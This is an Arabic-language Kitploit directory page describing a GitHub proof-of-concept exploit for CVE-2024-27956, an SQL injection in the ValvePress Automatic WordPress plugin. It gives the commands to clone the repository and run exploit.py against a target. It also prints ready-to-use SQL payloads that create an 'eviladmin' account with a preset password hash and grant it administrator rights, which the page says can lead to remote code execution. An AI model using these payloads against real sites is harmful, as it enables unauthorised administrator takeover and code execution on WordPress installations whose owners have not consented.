Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-27956-RCE — PoC لثغرة حقن SQL في CVE-2024-27956 | Kitploit
أدوات/GitHubGitHub/diego-tella/cve-2024-27956-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubdiego-tella/cve-2024-27956-rce

CVE-2024-27956-RCE

PoC لثغرة حقن SQL في CVE-2024-27956

عرض المستودع
9025منذ 2 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-27956-RCE

إثبات مفهوم (PoC) لـ CVE-2024-27956، وهي ثغرة حقن SQL في إضافة ValvePress Automatic. تستغل هذه الأداة الثغرة بإنشاء مستخدم في الهدف ومنحه صلاحيات المدير. كون المستخدم مديرًا في ووردبريس يمكن أن يؤدي إلى تنفيذ كود عن بعد (Remote Code Execution).

الاستخدام

root@kitploit:~
git clone https://github.com/diego-tella/CVE-2024-27956-RCE/
cd CVE-2024-27956-RCE
python exploit.py http://target.com

الحمولات

حمولة حقن SQL لإنشاء مستخدم:
root@kitploit:~
q=INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', '[email protected]', 'http://127.0.0.1:8000', '2024-04-30 16:26:43', 0, 'eviladmin')

منح صلاحيات المدير:

root@kitploit:~
q=INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}

في معامل q، يمكننا تمرير استعلامنا بالكامل ثم يتم تنفيذه.

صورة يتم تنفيذ إدخال المستخدم مباشرة دون أي نوع من القيود أو التعقيم.

PoC

تنزيل الأداة